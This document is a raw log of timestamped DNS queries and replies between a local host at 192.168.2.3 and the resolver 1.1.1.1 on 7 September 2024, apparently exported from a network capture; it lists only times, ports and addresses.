Sep 7, 2024 15:35:37.820467949 CEST	53875	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:37.831268072 CEST	53	53875	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:37.945399046 CEST	62309	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:38.221455097 CEST	53	62309	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:38.223679066 CEST	51260	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:38.234502077 CEST	53	51260	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:38.339636087 CEST	58213	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:38.509557009 CEST	53	58213	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:38.512177944 CEST	64604	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:38.751504898 CEST	53	64604	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:38.867820024 CEST	52619	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:39.144692898 CEST	53	52619	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:39.150928974 CEST	52954	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:39.170077085 CEST	53	52954	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:39.274502993 CEST	49255	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:39.284101009 CEST	53	49255	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:39.286974907 CEST	64642	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:39.297051907 CEST	53	64642	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:39.414134026 CEST	53941	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:39.431242943 CEST	53	53941	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:40.572505951 CEST	60973	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:40.773328066 CEST	53	60973	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:40.780230045 CEST	53892	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:40.789684057 CEST	53	53892	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:42.445400953 CEST	55908	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:42.483778000 CEST	53	55908	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:43.633022070 CEST	54603	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:43.651961088 CEST	53	54603	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:43.668987989 CEST	64925	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:43.713939905 CEST	53	64925	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:43.820580006 CEST	49485	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:43.987298012 CEST	53	49485	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:43.989660978 CEST	64431	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:44.151187897 CEST	53	64431	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:44.257972956 CEST	60012	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:44.279098034 CEST	53	60012	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:45.429932117 CEST	65341	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:45.446295977 CEST	53	65341	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:46.617607117 CEST	63337	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:46.641999006 CEST	53	63337	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:46.645337105 CEST	50718	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:46.657157898 CEST	53	50718	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:46.775021076 CEST	51293	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:46.784657955 CEST	53	51293	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:46.799592018 CEST	50000	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:46.809360027 CEST	53	50000	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:46.914047003 CEST	49466	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:47.016809940 CEST	53	49466	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:47.020447016 CEST	61124	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:47.117052078 CEST	53	61124	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:47.227046013 CEST	62125	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:47.240818977 CEST	53	62125	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:48.382961035 CEST	62317	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:48.623827934 CEST	53	62317	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:48.626132011 CEST	56826	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:48.729672909 CEST	53	56826	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:48.836153030 CEST	53448	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:48.863001108 CEST	53	53448	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:50.025911093 CEST	59774	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:50.035877943 CEST	53	59774	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:50.038750887 CEST	63848	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:50.073429108 CEST	53	63848	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:50.179822922 CEST	58285	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:50.435864925 CEST	53	58285	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:50.438278913 CEST	56434	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:50.598349094 CEST	53	56434	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:50.726646900 CEST	61778	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:50.736675978 CEST	53	61778	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:51.867315054 CEST	60374	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:51.882595062 CEST	53	60374	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:53.043881893 CEST	59475	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:53.206185102 CEST	53	59475	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:53.208311081 CEST	62798	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:53.386441946 CEST	53	62798	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:53.493738890 CEST	63283	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:53.503581047 CEST	53	63283	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:54.648479939 CEST	64001	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:54.682506084 CEST	53	64001	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:55.848315954 CEST	63776	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:55.857574940 CEST	53	63776	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:57.008577108 CEST	52919	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:57.043946028 CEST	53	52919	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:57.047579050 CEST	61253	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:57.592850924 CEST	53	61253	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:57.710973024 CEST	56850	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:57.981156111 CEST	53	56850	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:57.983464956 CEST	54109	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:57.999941111 CEST	53	54109	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:58.102330923 CEST	51010	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:58.137582064 CEST	53	51010	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:58.145950079 CEST	60795	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:58.180841923 CEST	53	60795	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:58.289315939 CEST	64253	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:58.617979050 CEST	53	64253	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:58.620234013 CEST	65317	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:58.716079950 CEST	53	65317	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:58.820367098 CEST	59718	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:58.923538923 CEST	53	59718	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:58.940479994 CEST	62835	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:59.035999060 CEST	53	62835	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:59.156193972 CEST	59699	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:59.166121006 CEST	53	59699	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:59.179469109 CEST	52536	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:59.189256907 CEST	53	52536	1.1.1.1	192.168.2.3
Sep 7, 2024 15:35:59.305208921 CEST	62939	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:35:59.314225912 CEST	53	62939	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:00.447664976 CEST	49171	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:00.457010984 CEST	53	49171	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:00.460072994 CEST	61623	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:00.469501972 CEST	53	61623	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:00.593369007 CEST	57783	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:00.602508068 CEST	53	57783	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:01.757884026 CEST	51345	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:01.767221928 CEST	53	51345	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:02.868223906 CEST	54010	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:02.902554035 CEST	53	54010	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:02.926899910 CEST	62928	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:03.437983990 CEST	53	62928	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:03.555000067 CEST	53453	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:03.568344116 CEST	53	53453	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:04.695472002 CEST	50004	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:04.896152020 CEST	53	50004	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:05.000391006 CEST	57027	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:05.170227051 CEST	53	57027	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:05.278096914 CEST	64839	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:05.300715923 CEST	53	64839	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:05.309155941 CEST	52098	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:05.331017971 CEST	53	52098	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:05.445636988 CEST	54346	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:05.483033895 CEST	53	54346	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:06.633888006 CEST	62592	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:06.642498016 CEST	53	62592	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:07.805453062 CEST	49290	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:07.825192928 CEST	53	49290	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:09.007811069 CEST	63726	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:09.134637117 CEST	53	63726	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:09.158268929 CEST	64774	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:09.216677904 CEST	53	64774	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:09.321166992 CEST	50330	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:09.329889059 CEST	53	50330	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:10.494934082 CEST	49665	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:10.529978991 CEST	53	49665	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:10.535121918 CEST	51698	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:10.567102909 CEST	53	51698	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:10.681853056 CEST	57910	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:10.693150997 CEST	53	57910	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:10.698436022 CEST	60282	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:10.968910933 CEST	53	60282	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:11.086287975 CEST	58402	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:11.100194931 CEST	53	58402	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:12.230998039 CEST	61147	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:12.404941082 CEST	53	61147	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:12.407605886 CEST	58552	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:12.617285967 CEST	53	58552	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:12.726788044 CEST	51797	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:12.976216078 CEST	53	51797	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:14.133491993 CEST	51921	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:14.230174065 CEST	53	51921	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:14.232892036 CEST	62668	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:14.333992958 CEST	53	62668	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:14.445431948 CEST	56383	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:14.489285946 CEST	53	56383	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:14.491540909 CEST	50377	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:14.769686937 CEST	53	50377	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:14.883527040 CEST	56061	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:14.916733980 CEST	53	56061	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:16.070507050 CEST	52115	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:16.260149002 CEST	53	52115	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:16.262269020 CEST	53550	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:16.269670963 CEST	53	53550	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:16.398752928 CEST	58567	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:16.896028042 CEST	53	58567	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:16.903023958 CEST	61085	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:16.915381908 CEST	53	61085	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:17.023446083 CEST	51182	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:17.051178932 CEST	53	51182	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:17.080830097 CEST	54783	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:17.090605974 CEST	53	54783	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:17.196029902 CEST	53188	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:17.410718918 CEST	53	53188	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:17.413393021 CEST	61139	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:17.681293964 CEST	53	61139	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:17.789166927 CEST	64802	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:17.891221046 CEST	53	64802	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:17.895400047 CEST	65442	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:17.903261900 CEST	53	65442	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:18.008584023 CEST	64781	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:19.023586035 CEST	64781	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:19.125050068 CEST	53	64781	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:19.152271986 CEST	62488	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:19.355302095 CEST	53	64781	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:19.367296934 CEST	53	62488	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:19.476670980 CEST	57301	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:19.491149902 CEST	53	57301	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:19.494604111 CEST	53351	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:19.527903080 CEST	53	53351	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:19.636111975 CEST	61252	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:19.883846998 CEST	53	61252	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:21.039604902 CEST	62209	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:21.063357115 CEST	53	62209	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:21.065498114 CEST	52618	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:21.235018969 CEST	53	52618	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:21.352288008 CEST	52273	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:21.448143005 CEST	53	52273	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:21.450246096 CEST	53171	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:21.458142042 CEST	53	53171	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:21.571729898 CEST	55237	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:21.581357002 CEST	53	55237	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:22.914643049 CEST	51224	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:22.923945904 CEST	53	51224	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:24.196301937 CEST	60253	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:24.234649897 CEST	53	60253	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:25.414022923 CEST	62197	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:25.579695940 CEST	53	62197	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:25.584709883 CEST	58812	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:25.592879057 CEST	53	58812	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:25.695305109 CEST	55392	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:25.869071007 CEST	53	55392	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:25.872306108 CEST	55030	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:25.879235983 CEST	53	55030	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:26.649025917 CEST	60041	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:26.679380894 CEST	53	60041	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:27.821050882 CEST	49308	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:27.986207962 CEST	53	49308	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:27.999654055 CEST	51770	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:28.161650896 CEST	53	51770	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:28.273469925 CEST	51735	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:28.282345057 CEST	53	51735	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:28.287149906 CEST	50689	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:28.317513943 CEST	53	50689	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:28.436321020 CEST	63868	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:28.446628094 CEST	53	63868	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:28.472685099 CEST	54983	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:28.483812094 CEST	53	54983	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:28.586000919 CEST	56708	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:28.836581945 CEST	53	56708	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:28.839584112 CEST	63097	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:29.005299091 CEST	53	63097	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:31.414283037 CEST	62688	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:31.658725023 CEST	53	62688	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:31.664414883 CEST	63314	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:31.890674114 CEST	53	63314	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:35.414434910 CEST	55456	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:35.451555967 CEST	53	55456	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:35.464359045 CEST	54199	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:35.500343084 CEST	53	54199	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:35.605747938 CEST	54988	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:35.623748064 CEST	53	54988	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:35.630852938 CEST	50966	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:35.641274929 CEST	53	50966	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:35.774154902 CEST	60737	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:35.809689999 CEST	53	60737	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:35.812989950 CEST	52023	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:35.885848045 CEST	53	52023	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:35.992866039 CEST	61694	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:36.326520920 CEST	53	61694	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:36.328994989 CEST	58112	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:36.562634945 CEST	53	58112	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:36.683712959 CEST	56473	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:36.920722008 CEST	53	56473	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:36.927957058 CEST	62954	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:37.023241043 CEST	53	62954	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:37.132939100 CEST	60895	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:37.148296118 CEST	53	60895	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:37.152225018 CEST	57669	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:37.436763048 CEST	53	57669	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:38.697143078 CEST	49974	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:38.706702948 CEST	53	49974	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:38.712131977 CEST	61219	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:38.724263906 CEST	53	61219	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:41.110927105 CEST	58277	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:41.283430099 CEST	53	58277	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:41.302042961 CEST	64297	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:41.499707937 CEST	53	64297	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:42.742140055 CEST	61210	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:42.925164938 CEST	53	61210	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:42.946495056 CEST	52761	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:43.160459042 CEST	53	52761	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:43.274055004 CEST	54267	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:43.441097021 CEST	53	54267	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:43.443371058 CEST	62169	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:43.625818014 CEST	53	62169	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:47.332034111 CEST	51476	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:47.395591021 CEST	53	51476	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:47.421062946 CEST	50625	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:47.457891941 CEST	53	50625	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:48.680969954 CEST	53601	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:48.945554018 CEST	53601	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:48.966706038 CEST	53	53601	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:48.966725111 CEST	53	53601	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:48.983617067 CEST	60573	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:48.991693974 CEST	53	60573	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:49.101531982 CEST	50555	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:49.364784002 CEST	50555	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:49.375240088 CEST	53	50555	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:49.375260115 CEST	53	50555	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:49.383758068 CEST	61391	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:49.402998924 CEST	53	61391	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:50.701255083 CEST	58020	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:50.872400045 CEST	53	58020	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:50.874684095 CEST	49548	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:51.056766033 CEST	53	49548	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:52.304809093 CEST	58159	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:52.520994902 CEST	53	58159	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:52.538772106 CEST	64396	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:52.788858891 CEST	64396	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:52.795223951 CEST	53	64396	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:52.796097040 CEST	53	64396	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:52.898989916 CEST	58054	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:53.167172909 CEST	58054	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:53.175065994 CEST	53	58054	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:53.185657978 CEST	53	58054	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:53.749188900 CEST	61437	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:53.778588057 CEST	53	61437	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:55.039427042 CEST	51034	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:55.170865059 CEST	53	51034	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:55.172935009 CEST	49397	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:55.237101078 CEST	53	49397	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:55.353913069 CEST	57871	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:55.601351023 CEST	57871	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:55.849741936 CEST	53	57871	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:55.849772930 CEST	53	57871	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:55.854007006 CEST	51438	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:56.101470947 CEST	51438	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:56.348620892 CEST	53	51438	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:56.348633051 CEST	53	51438	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:56.461020947 CEST	56007	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:56.469747066 CEST	53	56007	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:56.471777916 CEST	52987	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:56.480211020 CEST	53	52987	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:56.586122036 CEST	49218	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:56.771298885 CEST	53	49218	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:56.775409937 CEST	62323	53	192.168.2.3	1.1.1.1
